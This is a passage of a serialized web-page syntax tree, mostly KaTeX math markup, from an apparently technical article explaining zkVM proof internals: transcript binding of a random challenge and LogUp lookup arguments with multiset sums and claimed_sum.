,[47111],[47835],{"type":26,"tag":217,"props":47836,"children":47838},{"className":47837,"style":47187},[47186],[47839],{"type":26,"tag":47190,"props":47840,"children":47841},{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},[47842],{"type":26,"tag":41011,"props":47843,"children":47844},{"d":47201},[],{"type":26,"tag":217,"props":47846,"children":47848},{"className":47847},[428],[47849],{"type":32,"value":1889},{"type":32,"value":47851}," are constants, so ",{"type":26,"tag":83,"props":47853,"children":47855},{"className":47854},[213,4703],[47856],{"type":26,"tag":217,"props":47857,"children":47859},{"className":47858},[225],[47860],{"type":26,"tag":217,"props":47861,"children":47863},{"className":47862,"ariaHidden":231},[230],[47864],{"type":26,"tag":217,"props":47865,"children":47867},{"className":47866},[236],[47868,47872,47932,47937,47986],{"type":26,"tag":217,"props":47869,"children":47871},{"className":47870,"style":47067},[241],[],{"type":26,"tag":217,"props":47873,"children":47875},{"className":47874},[247,47072],[47876],{"type":26,"tag":217,"props":47877,"children":47879},{"className":47878},[299,300],[47880,47921],{"type":26,"tag":217,"props":47881,"children":47883},{"className":47882},[305],[47884,47916],{"type":26,"tag":217,"props":47885,"children":47887},{"className":47886,"style":47085},[310],[47888,47900],{"type":26,"tag":217,"props":47889,"children":47890},{"style":47089},[47891,47895],{"type":26,"tag":217,"props":47892,"children":47894},{"className":47893,"style":321},[320],[],{"type":26,"tag":217,"props":47896,"children":47898},{"className":47897,"style":19823},[247,2152],[47899],{"type":32,"value":19826},{"type":26,"tag":217,"props":47901,"children":47902},{"style":47102},[47903,47907],{"type":26,"tag":217,"props":47904,"children":47906},{"className":47905,"style":321},[320],[],{"type":26,"tag":217,"props":47908,"children":47910},{"className":47909,"style":47112},[47111],[47911],{"type":26,"tag":217,"props":47912,"children":47914},{"className":47913},[247],[47915],{"type":32,"value":47119},{"type":26,"tag":217,"props":47917,"children":47919},{"className":47918},[409],[47920],{"type":32,"value":412},{"type":26,"tag":217,"props":47922,"children":47924},{"className":47923},[305],[47925],{"type":26,"tag":217,"props":47926,"children":47928},{"className":47927,"style":47132},[310],[47929],{"type":26,"tag":217,"props":47930,"children":47931},{},[],{"type":26,"tag":217,"props":47933,"children":47935},{"className":47934},[288],[47936],{"type":32,"value":1851},{"type":26,"tag":217,"props":47938,"children":47940},{"className":47939},[247,47072],[47941],{"type":26,"tag":217,"props":47942,"children":47944},{"className":47943},[299],[47945],{"type":26,"tag":217,"props":47946,"children":47948},{"className":47947},[305],[47949],{"type":26,"tag":217,"props":47950,"children":47952},{"className":47951,"style":47157},[310],[47953,47965],{"type":26,"tag":217,"props":47954,"children":47955},{"style":47089},[47956,47960],{"type":26,"tag":217,"props":47957,"children":47959},{"className":47958,"style":321},[320],[],{"type":26,"tag":217,"props":47961,"children":47963},{"className":47962,"style":2753},[247,2152],[47964],{"type":32,"value":19414},{"type":26,"tag":217,"props":47966,"children":47967},{"style":47089},[47968,47972],{"type":26,"tag":217,"props":47969,"children":47971},{"className":47970,"style":321},[320],[],{"type":26,"tag":217,"props":47973,"children":47975},{"className":47974,"style":47181},[47111],[47976],{"type":26,"tag":217,"props":47977,"children":47979},{"className":47978,"style":47187},[47186],[47980],{"type":26,"tag":47190,"props":47981,"children":47982},{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},[47983],{"type":26,"tag":41011,"props":47984,"children":47985},{"d":47201},[],{"type":26,"tag":217,"props":47987,"children":47989},{"className":47988},[428],[47990],{"type":32,"value":1889},{"type":32,"value":47992}," is linear in the table values ",{"type":26,"tag":83,"props":47994,"children":47996},{"className":47995},[213,4703],[47997],{"type":26,"tag":217,"props":47998,"children":48000},{"className":47999},[225],[48001],{"type":26,"tag":217,"props":48002,"children":48004},{"className":48003,"ariaHidden":231},[230],[48005],{"type":26,"tag":217,"props":48006,"children":48008},{"className":48007},[236],[48009,48013,48018,48023,48072],{"type":26,"tag":217,"props":48010,"children":48012},{"className":48011,"style":47499},[241],[],{"type":26,"tag":217,"props":48014,"children":48016},{"className":48015,"style":19823},[247,2152],[48017],{"type":32,"value":19826},{"type":26,"tag":217,"props":48019,"children":48021},{"className":48020},[288],[48022],{"type":32,"value":1851},{"type":26,"tag":217,"props":48024,"children":48026},{"className":48025},[247,47072],[48027],{"type":26,"tag":217,"props":48028,"children":48030},{"className":48029},[299],[48031],{"type":26,"tag":217,"props":48032,"children":48034},{"className":48033},[305],[48035],{"type":26,"tag":217,"props":48036,"children":48038},{"className":48037,"style":47286},[310],[48039,48051],{"type":26,"tag":217,"props":48040,"children":48041},{"style":47089},[48042,48046],{"type":26,"tag":217,"props":48043,"children":48045},{"className":48044,"style":321},[320],[],{"type":26,"tag":217,"props":48047,"children":48049},{"className":48048},[247,2152],[48050],{"type":32,"value":14783},{"type":26,"tag":217,"props":48052,"children":48053},{"style":47454},[48054,48058],{"type":26,"tag":217,"props":48055,"children":48057},{"className":48056,"style":321},[320],[],{"type":26,"tag":217,"props":48059,"children":48061},{"className":48060,"style":47313},[47111],[48062],{"type":26,"tag":217,"props":48063,"children":48065},{"className":48064,"style":47187},[47186],[48066],{"type":26,"tag":47190,"props":48067,"children":48068},{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},[48069],{"type":26,"tag":41011,"props":48070,"children":48071},{"d":47201},[],{"type":26,"tag":217,"props":48073,"children":48075},{"className":48074},[428],[48076],{"type":32,"value":1889},{"type":32,"value":180},{"type":26,"tag":39,"props":48079,"children":48080},{},[48081,48083,48152],{"type":32,"value":48082},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":26,"tag":83,"props":48084,"children":48086},{"className":48085},[213,4703],[48087],{"type":26,"tag":217,"props":48088,"children":48090},{"className":48089},[225],[48091],{"type":26,"tag":217,"props":48092,"children":48094},{"className":48093,"ariaHidden":231},[230],[48095],{"type":26,"tag":217,"props":48096,"children":48098},{"className":48097},[236],[48099,48103],{"type":26,"tag":217,"props":48100,"children":48102},{"className":48101,"style":47157},[241],[],{"type":26,"tag":217,"props":48104,"children":48106},{"className":48105},[247,47072],[48107],{"type":26,"tag":217,"props":48108,"children":48110},{"className":48109},[299],[48111],{"type":26,"tag":217,"props":48112,"children":48114},{"className":48113},[305],[48115],{"type":26,"tag":217,"props":48116,"children":48118},{"className":48117,"style":47157},[310],[48119,48131],{"type":26,"tag":217,"props":48120,"children":48121},{"style":47089},[48122,48126],{"type":26,"tag":217,"props":48123,"children":48125},{"className":48124,"style":321},[320],[],{"type":26,"tag":217,"props":48127,"children":48129},{"className":48128,"style":2753},[247,2152],[48130],{"type":32,"value":19414},{"type":26,"tag":217,"props":48132,"children":48133},{"style":47089},[48134,48138],{"type":26,"tag":217,"props":48135,"children":48137},{"className":48136,"style":321},[320],[],{"type":26,"tag":217,"props":48139,"children":48141},{"className":48140,"style":47181},[47111],[48142],{"type":26,"tag":217,"props":48143,"children":48145},{"className":48144,"style":47187},[47186],[48146],{"type":26,"tag":47190,"props":48147,"children":48148},{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},[48149],{"type":26,"tag":41011,"props":48150,"children":48151},{"d":47201},[],{"type":32,"value":48153}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":26,"tag":607,"props":48155,"children":48157},{"id":48156},"lookup-arguments-logup",[48158],{"type":32,"value":48159},"Lookup Arguments (LogUp)",{"type":26,"tag":39,"props":48161,"children":48162},{},[48163],{"type":32,"value":48164},"zkVMs need to check that values satisfy certain properties. For example:",{"type":26,"tag":2040,"props":48166,"children":48167},{},[48168,48223,48228],{"type":26,"tag":2044,"props":48169,"children":48170},{},[48171,48173,48222],{"type":32,"value":48172},"Is this byte in range ",{"type":26,"tag":83,"props":48174,"children":48176},{"className":48175},[213,4703],[48177],{"type":26,"tag":217,"props":48178,"children":48180},{"className":48179},[225],[48181],{"type":26,"tag":217,"props":48182,"children":48184},{"className":48183,"ariaHidden":231},[230],[48185],{"type":26,"tag":217,"props":48186,"children":48188},{"className":48187},[236],[48189,48193,48198,48203,48208,48212,48217],{"type":26,"tag":217,"props":48190,"children":48192},{"className":48191,"style":5514},[241],[],{"type":26,"tag":217,"props":48194,"children":48196},{"className":48195},[288],[48197],{"type":32,"value":7127},{"type":26,"tag":217,"props":48199,"children":48201},{"className":48200},[247],[48202],{"type":32,"value":1883},{"type":26,"tag":217,"props":48204,"children":48206},{"className":48205},[1865],[48207],{"type":32,"value":1868},{"type":26,"tag":217,"props":48209,"children":48211},{"className":48210,"style":1872},[258],[],{"type":26,"tag":217,"props":48213,"children":48215},{"className":48214},[247],[48216],{"type":32,"value":11273},{"type":26,"tag":217,"props":48218,"children":48220},{"className":48219},[428],[48221],{"type":32,"value":21845},{"type":32,"value":605},{"type":26,"tag":2044,"props":48224,"children":48225},{},[48226],{"type":32,"value":48227},"Does this opcode decode correctly?",{"type":26,"tag":2044,"props":48229,"children":48230},{},[48231],{"type":32,"value":48232},"Is this memory access consistent with previous accesses?",{"type":26,"tag":39,"props":48234,"children":48235},{},[48236,48241],{"type":26,"tag":9348,"props":48237,"children":48238},{},[48239],{"type":32,"value":48240},"The naive approach:",{"type":32,"value":48242}," Add constraints for each check. Expensive.",{"type":26,"tag":39,"props":48244,"children":48245},{},[48246,48251,48253,48258],{"type":26,"tag":9348,"props":48247,"children":48248},{},[48249],{"type":32,"value":48250},"The clever approach:",{"type":32,"value":48252}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":26,"tag":9348,"props":48254,"children":48255},{},[48256],{"type":32,"value":48257},"multiset membership",{"type":32,"value":48259}," check.",{"type":26,"tag":39,"props":48261,"children":48262},{},[48263,48268],{"type":26,"tag":9348,"props":48264,"children":48265},{},[48266],{"type":32,"value":48267},"LogUp (Logarithmic Derivative):",{"type":32,"value":48269}," Encode multiset membership as a sum of fractions.",{"type":26,"tag":39,"props":48271,"children":48272},{},[48273,48275,48301,48303,48330],{"type":32,"value":48274},"If set ",{"type":26,"tag":83,"props":48276,"children":48278},{"className":48277},[213,4703],[48279],{"type":26,"tag":217,"props":48280,"children":48282},{"className":48281},[225],[48283],{"type":26,"tag":217,"props":48284,"children":48286},{"className":48285,"ariaHidden":231},[230],[48287],{"type":26,"tag":217,"props":48288,"children":48290},{"className":48289},[236],[48291,48295],{"type":26,"tag":217,"props":48292,"children":48294},{"className":48293,"style":4800},[241],[],{"type":26,"tag":217,"props":48296,"children":48298},{"className":48297},[247,2152],[48299],{"type":32,"value":48300},"A",{"type":32,"value":48302}," should equal set ",{"type":26,"tag":83,"props":48304,"children":48306},{"className":48305},[213,4703],[48307],{"type":26,"tag":217,"props":48308,"children":48310},{"className":48309},[225],[48311],{"type":26,"tag":217,"props":48312,"children":48314},{"className":48313,"ariaHidden":231},[230],[48315],{"type":26,"tag":217,"props":48316,"children":48318},{"className":48317},[236],[48319,48323],{"type":26,"tag":217,"props":48320,"children":48322},{"className":48321,"style":4800},[241],[],{"type":26,"tag":217,"props":48324,"children":48327},{"className":48325,"style":48326},[247,2152],"margin-right:0.05017em;",[48328],{"type":32,"value":48329},"B",{"type":32,"value":48331}," as multisets:",{"type":26,"tag":39,"props":48333,"children":48334},{},[48335],{"type":26,"tag":83,"props":48336,"children":48338},{"className":48337},[213,4703],[48339],{"type":26,"tag":217,"props":48340,"children":48342},{"className":48341},[225],[48343],{"type":26,"tag":217,"props":48344,"children":48346},{"className":48345,"ariaHidden":231},[230],[48347,48554],{"type":26,"tag":217,"props":48348,"children":48350},{"className":48349},[236],[48351,48356,48429,48433,48541,48545,48550],{"type":26,"tag":217,"props":48352,"children":48355},{"className":48353,"style":48354},[241],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":26,"tag":217,"props":48357,"children":48359},{"className":48358},[1842],[48360,48365],{"type":26,"tag":217,"props":48361,"children":48363},{"className":48362,"style":22482},[1842,4049,22481],[48364],{"type":32,"value":4053},{"type":26,"tag":217,"props":48366,"children":48368},{"className":48367},[2160],[48369],{"type":26,"tag":217,"props":48370,"children":48372},{"className":48371},[299,300],[48373,48417],{"type":26,"tag":217,"props":48374,"children":48376},{"className":48375},[305],[48377,48412],{"type":26,"tag":217,"props":48378,"children":48381},{"className":48379,"style":48380},[310],"height:0.1786em;",[48382],{"type":26,"tag":217,"props":48383,"children":48384},{"style":43746},[48385,48389],{"type":26,"tag":217,"props":48386,"children":48388},{"className":48387,"style":2182},[320],[],{"type":26,"tag":217,"props":48390,"children":48392},{"className":48391},[2187,2188,2189,2190],[48393],{"type":26,"tag":217,"props":48394,"children":48396},{"className":48395},[247,2190],[48397,48402,48407],{"type":26,"tag":217,"props":48398,"children":48400},{"className":48399},[247,2152,2190],[48401],{"type":32,"value":163},{"type":26,"tag":217,"props":48403,"children":48405},{"className":48404},[264,2190],[48406],{"type":32,"value":43824},{"type":26,"tag":217,"props":48408,"children":48410},{"className":48409},[247,2152,2190],[48411],{"type":32,"value":48300},{"type":26,"tag":217,"props":48413,"children":48415},{"className":48414},[409],[48416],{"type":32,"value":412},{"type":26,"tag":217,"props":48418,"children":48420},{"className":48419},[305],[48421],{"type":26,"tag":217,"props":48422,"children":48425},{"className":48423,"style":48424},[310],"height:0.3271em;",[48426],{"type":26,"tag":217,"props":48427,"children":48428},{},[],{"type":26,"tag":217,"props":48430,"children":48432},{"className":48431,"style":1872},[258],[],{"type":26,"tag":217,"props":48434,"children":48436},{"className":48435},[247],[48437,48441,48537],{"type":26,"tag":217,"props":48438,"children":48440},{"className":48439},[288,289],[],{"type":26,"tag":217,"props":48442,"children":48444},{"className":48443},[294],[48445],{"type":26,"tag":217,"props":48446,"children":48448},{"className":48447},[299,300],[48449,48525],{"type":26,"tag":217,"props":48450,"children":48452},{"className":48451},[305],[48453,48520],{"type":26,"tag":217,"props":48454,"children":48457},{"className":48455,"style":48456},[310],"height:0.8451em;",[48458,48488,48499],{"type":26,"tag":217,"props":48459,"children":48460},{"style":5060},[48461,48465],{"type":26,"tag":217,"props":48462,"children":48464},{"className":48463,"style":321},[320],[],{"type":26,"tag":217,"props":48466,"children":48468},{"className":48467},[2187,2188,2189,2190],[48469],{"type":26,"tag":217,"props":48470,"children":48472},{"className":48471},[247,2190],[48473,48478,48483],{"type":26,"tag":217,"props":48474,"children":48476},{"className":48475,"style":21089},[247,2152,2190],[48477],{"type":32,"value":21092},{"type":26,"tag":217,"props":48479,"children":48481},{"className":48480},[341,2190],[48482],{"type":32,"value":3379},{"type":26,"tag":217,"props":48484,"children":48486},{"className":48485},[247,2152,2190],[48487],{"type":32,"value":163},{"type":26,"tag":217,"props":48489,"children":48490},{"style":361},[48491,48495],{"type":26,"tag":217,"props":48492,"children":48494},{"className":48493,"style":321},[320],[],{"type":26,"tag":217,"props":48496,"children":48498},{"className":48497,"style":371},[370],[],{"type":26,"tag":217,"props":48500,"children":48502},{"style":48501},"top:-3.394em;",[48503,48507],{"type":26,"tag":217,"props":48504,"children":48506},{"className":48505,"style":321},[320],[],{"type":26,"tag":217,"props":48508,"children":48510},{"className":48509},[2187,2188,2189,2190],[48511],{"type":26,"tag":217,"props":48512,"children":48514},{"className":48513},[247,2190],[48515],{"type":26,"tag":217,"props":48516,"children":48518},{"className":48517},[247,2190],[48519],{"type":32,"value":185},{"type":26,"tag":217,"props":48521,"children":48523},{"className":48522},[409],[48524],{"type":32,"value":412},{"type":26,"tag":217,"props":48526,"children":48528},{"className":48527},[305],[48529],{"type":26,"tag":217,"props":48530,"children":48533},{"className":48531,"style":48532},[310],"height:0.4033em;",[48534],{"type":26,"tag":217,"props":48535,"children":48536},{},[],{"type":26,"tag":217,"props":48538,"children":48540},{"className":48539},[428,289],[],{"type":26,"tag":217,"props":48542,"children":48544},{"className":48543,"style":259},[258],[],{"type":26,"tag":217,"props":48546,"children":48548},{"className":48547},[264],[48549],{"type":32,"value":267},{"type":26,"tag":217,"props":48551,"children":48553},{"className":48552,"style":259},[258],[],{"type":26,"tag":217,"props":48555,"children":48557},{"className":48556},[236],[48558,48562,48634,48638],{"type":26,"tag":217,"props":48559,"children":48561},{"className":48560,"style":48354},[241],[],{"type":26,"tag":217,"props":48563,"children":48565},{"className":48564},[1842],[48566,48571],{"type":26,"tag":217,"props":48567,"children":48569},{"className":48568,"style":22482},[1842,4049,22481],[48570],{"type":32,"value":4053},{"type":26,"tag":217,"props":48572,"children":48574},{"className":48573},[2160],[48575],{"type":26,"tag":217,"props":48576,"children":48578},{"className":48577},[299,300],[48579,48623],{"type":26,"tag":217,"props":48580,"children":48582},{"className":48581},[305],[48583,48618],{"type":26,"tag":217,"props":48584,"children":48587},{"className":48585,"style":48586},[310],"height:0.1864em;",[48588],{"type":26,"tag":217,"props":48589,"children":48590},{"style":43746},[48591,48595],{"type":26,"tag":217,"props":48592,"children":48594},{"className":48593,"style":2182},[320],[],{"type":26,"tag":217,"props":48596,"children":48598},{"className":48597},[2187,2188,2189,2190],[48599],{"type":26,"tag":217,"props":48600,"children":48602},{"className":48601},[247,2190],[48603,48608,48613],{"type":26,"tag":217,"props":48604,"children":48606},{"className":48605},[247,2152,2190],[48607],{"type":32,"value":14783},{"type":26,"tag":217,"props":48609,"children":48611},{"className":48610},[264,2190],[48612],{"type":32,"value":43824},{"type":26,"tag":217,"props":48614,"children":48616},{"className":48615,"style":48326},[247,2152,2190],[48617],{"type":32,"value":48329},{"type":26,"tag":217,"props":48619,"children":48621},{"className":48620},[409],[48622],{"type":32,"value":412},{"type":26,"tag":217,"props":48624,"children":48626},{"className":48625},[305],[48627],{"type":26,"tag":217,"props":48628,"children":48630},{"className":48629,"style":48424},[310],[48631],{"type":26,"tag":217,"props":48632,"children":48633},{},[],{"type":26,"tag":217,"props":48635,"children":48637},{"className":48636,"style":1872},[258],[],{"type":26,"tag":217,"props":48639,"children":48641},{"className":48640},[247],[48642,48646,48739],{"type":26,"tag":217,"props":48643,"children":48645},{"className":48644},[288,289],[],{"type":26,"tag":217,"props":48647,"children":48649},{"className":48648},[294],[48650],{"type":26,"tag":217,"props":48651,"children":48653},{"className":48652},[299,300],[48654,48728],{"type":26,"tag":217,"props":48655,"children":48657},{"className":48656},[305],[48658,48723],{"type":26,"tag":217,"props":48659,"children":48661},{"className":48660,"style":48456},[310],[48662,48692,48703],{"type":26,"tag":217,"props":48663,"children":48664},{"style":5060},[48665,48669],{"type":26,"tag":217,"props":48666,"children":48668},{"className":48667,"style":321},[320],[],{"type":26,"tag":217,"props":48670,"children":48672},{"className":48671},[2187,2188,2189,2190],[48673],{"type":26,"tag":217,"props":48674,"children":48676},{"className":48675},[247,2190],[48677,48682,48687],{"type":26,"tag":217,"props":48678,"children":48680},{"className":48679,"style":21089},[247,2152,2190],[48681],{"type":32,"value":21092},{"type":26,"tag":217,"props":48683,"children":48685},{"className":48684},[341,2190],[48686],{"type":32,"value":3379},{"type":26,"tag":217,"props":48688,"children":48690},{"className":48689},[247,2152,2190],[48691],{"type":32,"value":14783},{"type":26,"tag":217,"props":48693,"children":48694},{"style":361},[48695,48699],{"type":26,"tag":217,"props":48696,"children":48698},{"className":48697,"style":321},[320],[],{"type":26,"tag":217,"props":48700,"children":48702},{"className":48701,"style":371},[370],[],{"type":26,"tag":217,"props":48704,"children":48705},{"style":48501},[48706,48710],{"type":26,"tag":217,"props":48707,"children":48709},{"className":48708,"style":321},[320],[],{"type":26,"tag":217,"props":48711,"children":48713},{"className":48712},[2187,2188,2189,2190],[48714],{"type":26,"tag":217,"props":48715,"children":48717},{"className":48716},[247,2190],[48718],{"type":26,"tag":217,"props":48719,"children":48721},{"className":48720},[247,2190],[48722],{"type":32,"value":185},{"type":26,"tag":217,"props":48724,"children":48726},{"className":48725},[409],[48727],{"type":32,"value":412},{"type":26,"tag":217,"props":48729,"children":48731},{"className":48730},[305],[48732],{"type":26,"tag":217,"props":48733,"children":48735},{"className":48734,"style":48532},[310],[48736],{"type":26,"tag":217,"props":48737,"children":48738},{},[],{"type":26,"tag":217,"props":48740,"children":48742},{"className":48741},[428,289],[],{"type":26,"tag":39,"props":48744,"children":48745},{},[48746,48748,48773],{"type":32,"value":48747},"for random challenge ",{"type":26,"tag":83,"props":48749,"children":48751},{"className":48750},[213,4703],[48752],{"type":26,"tag":217,"props":48753,"children":48755},{"className":48754},[225],[48756],{"type":26,"tag":217,"props":48757,"children":48759},{"className":48758,"ariaHidden":231},[230],[48760],{"type":26,"tag":217,"props":48761,"children":48763},{"className":48762},[236],[48764,48768],{"type":26,"tag":217,"props":48765,"children":48767},{"className":48766,"style":6316},[241],[],{"type":26,"tag":217,"props":48769,"children":48771},{"className":48770,"style":21089},[247,2152],[48772],{"type":32,"value":21092},{"type":32,"value":48774},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":26,"tag":39,"props":48776,"children":48777},{},[48778,48783],{"type":26,"tag":9348,"props":48779,"children":48780},{},[48781],{"type":32,"value":48782},"In zkVMs:",{"type":32,"value":48784}," Different components emit and consume lookup tuples:",{"type":26,"tag":2040,"props":48786,"children":48787},{},[48788,48874],{"type":26,"tag":2044,"props":48789,"children":48790},{},[48791,48793,48818,48820,48845,48847,48873],{"type":32,"value":48792},"CPU emits: \"I read value ",{"type":26,"tag":83,"props":48794,"children":48796},{"className":48795},[213,4703],[48797],{"type":26,"tag":217,"props":48798,"children":48800},{"className":48799},[225],[48801],{"type":26,"tag":217,"props":48802,"children":48804},{"className":48803,"ariaHidden":231},[230],[48805],{"type":26,"tag":217,"props":48806,"children":48808},{"className":48807},[236],[48809,48813],{"type":26,"tag":217,"props":48810,"children":48812},{"className":48811,"style":6316},[241],[],{"type":26,"tag":217,"props":48814,"children":48816},{"className":48815,"style":2326},[247,2152],[48817],{"type":32,"value":23899},{"type":32,"value":48819}," from address ",{"type":26,"tag":83,"props":48821,"children":48823},{"className":48822},[213,4703],[48824],{"type":26,"tag":217,"props":48825,"children":48827},{"className":48826},[225],[48828],{"type":26,"tag":217,"props":48829,"children":48831},{"className":48830,"ariaHidden":231},[230],[48832],{"type":26,"tag":217,"props":48833,"children":48835},{"className":48834},[236],[48836,48840],{"type":26,"tag":217,"props":48837,"children":48839},{"className":48838,"style":6316},[241],[],{"type":26,"tag":217,"props":48841,"children":48843},{"className":48842},[247,2152],[48844],{"type":32,"value":163},{"type":32,"value":48846}," at time ",{"type":26,"tag":83,"props":48848,"children":48850},{"className":48849},[213,4703],[48851],{"type":26,"tag":217,"props":48852,"children":48854},{"className":48853},[225],[48855],{"type":26,"tag":217,"props":48856,"children":48858},{"className":48857,"ariaHidden":231},[230],[48859],{"type":26,"tag":217,"props":48860,"children":48862},{"className":48861},[236],[48863,48868],{"type":26,"tag":217,"props":48864,"children":48867},{"className":48865,"style":48866},[241],"height:0.6151em;",[],{"type":26,"tag":217,"props":48869,"children":48871},{"className":48870},[247,2152],[48872],{"type":32,"value":2935},{"type":32,"value":9007},{"type":26,"tag":2044,"props":48875,"children":48876},{},[48877,48879,48904,48906,48931,48933,48958],{"type":32,"value":48878},"Memory table consumes: \"At time ",{"type":26,"tag":83,"props":48880,"children":48882},{"className":48881},[213,4703],[48883],{"type":26,"tag":217,"props":48884,"children":48886},{"className":48885},[225],[48887],{"type":26,"tag":217,"props":48888,"children":48890},{"className":48889,"ariaHidden":231},[230],[48891],{"type":26,"tag":217,"props":48892,"children":48894},{"className":48893},[236],[48895,48899],{"type":26,"tag":217,"props":48896,"children":48898},{"className":48897,"style":48866},[241],[],{"type":26,"tag":217,"props":48900,"children":48902},{"className":48901},[247,2152],[48903],{"type":32,"value":2935},{"type":32,"value":48905},", address ",{"type":26,"tag":83,"props":48907,"children":48909},{"className":48908},[213,4703],[48910],{"type":26,"tag":217,"props":48911,"children":48913},{"className":48912},[225],[48914],{"type":26,"tag":217,"props":48915,"children":48917},{"className":48916,"ariaHidden":231},[230],[48918],{"type":26,"tag":217,"props":48919,"children":48921},{"className":48920},[236],[48922,48926],{"type":26,"tag":217,"props":48923,"children":48925},{"className":48924,"style":6316},[241],[],{"type":26,"tag":217,"props":48927,"children":48929},{"className":48928},[247,2152],[48930],{"type":32,"value":163},{"type":32,"value":48932}," contained ",{"type":26,"tag":83,"props":48934,"children":48936},{"className":48935},[213,4703],[48937],{"type":26,"tag":217,"props":48938,"children":48940},{"className":48939},[225],[48941],{"type":26,"tag":217,"props":48942,"children":48944},{"className":48943,"ariaHidden":231},[230],[48945],{"type":26,"tag":217,"props":48946,"children":48948},{"className":48947},[236],[48949,48953],{"type":26,"tag":217,"props":48950,"children":48952},{"className":48951,"style":6316},[241],[],{"type":26,"tag":217,"props":48954,"children":48956},{"className":48955,"style":2326},[247,2152],[48957],{"type":32,"value":23899},{"type":32,"value":9007},{"type":26,"tag":39,"props":48960,"children":48961},{},[48962],{"type":32,"value":48963},"If everything balances, the execution is consistent.",{"type":26,"tag":39,"props":48965,"children":48966},{},[48967,48972],{"type":26,"tag":9348,"props":48968,"children":48969},{},[48970],{"type":32,"value":48971},"The claimed_sum:",{"type":32,"value":48973}," Each component computes its contribution to the LogUp sum:",{"type":26,"tag":39,"props":48975,"children":48976},{},[48977],{"type":26,"tag":83,"props":48978,"children":48980},{"className":48979},[213,4703],[48981],{"type":26,"tag":217,"props":48982,"children":48984},{"className":48983},[225],[48985],{"type":26,"tag":217,"props":48986,"children":48988},{"className":48987,"ariaHidden":231},[230],[48989,49089,49342],{"type":26,"tag":217,"props":48990,"children":48992},{"className":48991},[236],[48993,48997,49007,49013,49076,49080,49085],{"type":26,"tag":217,"props":48994,"children":48996},{"className":48995,"style":242},[241],[],{"type":26,"tag":217,"props":48998,"children":49000},{"className":48999},[247,32],[49001],{"type":26,"tag":217,"props":49002,"children":49004},{"className":49003},[247],[49005],{"type":32,"value":49006},"claimed",{"type":26,"tag":217,"props":49008,"children":49010},{"className":49009,"style":2753},[247],[49011],{"type":32,"value":49012},"_",{"type":26,"tag":217,"props":49014,"children":49016},{"className":49015},[247],[49017,49027],{"type":26,"tag":217,"props":49018,"children":49020},{"className":49019},[247,32],[49021],{"type":26,"tag":217,"props":49022,"children":49024},{"className":49023},[247],[49025],{"type":32,"value":49026},"sum",{"type":26,"tag":217,"props":49028,"children":49030},{"className":49029},[2160],[49031],{"type":26,"tag":217,"props":49032,"children":49034},{"className":49033},[299,300],[49035,49065],{"type":26,"tag":217,"props":49036,"children":49038},{"className":49037},[305],[49039,49060],{"type":26,"tag":217,"props":49040,"children":49042},{"className":49041,"style":2271},[310],[49043],{"type":26,"tag":217,"props":49044,"children":49046},{"style":49045},"top:-2.55em;margin-right:0.05em;",[49047,49051],{"type":26,"tag":217,"props":49048,"children":49050},{"className":49049,"style":2182},[320],[],{"type":26,"tag":217,"props":49052,"children":49054},{"className":49053},[2187,2188,2189,2190],[49055],{"type":26,"tag":217,"props":49056,"children":49058},{"className":49057},[247,2152,2190],[49059],{"type":32,"value":2290},{"type":26,"tag":217,"props":49061,"children":49063},{"className":49062},[409],[49064],{"type":32,"value":412},{"type":26,"tag":217,"props":49066,"children":49068},{"className":49067},[305],[49069],{"type":26,"tag":217,"props":49070,"children":49072},{"className":49071,"style":2210},[310],[49073],{"type":26,"tag":217,"props":49074,"children":49075},{},[],{"type":26,"tag":217,"props":49077,"children":49079},{"className":49078,"style":259},[258],[],{"type":26,"tag":217,"props":49081,"children":49083},{"className":49082},[264],[49084],{"type":32,"value":267},{"type":26,"tag":217,"props":49086,"children":49088},{"className":49087,"style":259},[258],[],{"type":26,"tag":217,"props":49090,"children":49092},{"className":49091},[236],[49093,49098,49159,49163,49329,49333,49338],{"type":26,"tag":217,"props":49094,"children":49097},{"className":49095,"style":49096},[241],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":26,"tag":217,"props":49099,"children":49101},{"className":49100},[1842],[49102,49107],{"type":26,"tag":217,"props":49103,"children":49105},{"className":49104,"style":22482},[1842,4049,22481],[49106],{"type":32,"value":4053},{"type":26,"tag":217,"props":49108,"children":49110},{"className":49109},[2160],[49111],{"type":26,"tag":217,"props":49112,"children":49114},{"className":49113},[299,300],[49115,49147],{"type":26,"tag":217,"props":49116,"children":49118},{"className":49117},[305],[49119,49142],{"type":26,"tag":217,"props":49120,"children":49123},{"className":49121,"style":49122},[310],"height:0.162em;",[49124],{"type":26,"tag":217,"props":49125,"children":49126},{"style":43746},[49127,49131],{"type":26,"tag":217,"props":49128,"children":49130},{"className":49129,"style":2182},[320],[],{"type":26,"tag":217,"props":49132,"children":49134},{"className":49133},[2187,2188,2189,2190],[49135],{"type":26,"tag":217,"props":49136,"children":49139},{"className":49137,"style":49138},[247,2152,2190],"margin-right:0.05724em;",[49140],{"type":32,"value":49141},"j",{"type":26,"tag":217,"props":49143,"children":49145},{"className":49144},[409],[49146],{"type":32,"value":412},{"type":26,"tag":217,"props":49148,"children":49150},{"className":49149},[305],[49151],{"type":26,"tag":217,"props":49152,"children":49155},{"className":49153,"style":49154},[310],"height:0.4358em;",[49156],{"type":26,"tag":217,"props":49157,"children":49158},{},[],{"type":26,"tag":217,"props":49160,"children":49162},{"className":49161,"style":1872},[258],[],{"type":26,"tag":217,"props":49164,"children":49166},{"className":49165},[247],[49167,49171,49325],{"type":26,"tag":217,"props":49168,"children":49170},{"className":49169},[288,289],[],{"type":26,"tag":217,"props":49172,"children":49174},{"className":49173},[294],[49175],{"type":26,"tag":217,"props":49176,"children":49178},{"className":49177},[299,300],[49179,49313],{"type":26,"tag":217,"props":49180,"children":49182},{"className":49181},[305],[49183,49308],{"type":26,"tag":217,"props":49184,"children":49186},{"className":49185,"style":48456},[310],[49187,49277,49288],{"type":26,"tag":217,"props":49188,"children":49189},{"style":5060},[49190,49194],{"type":26,"tag":217,"props":49191,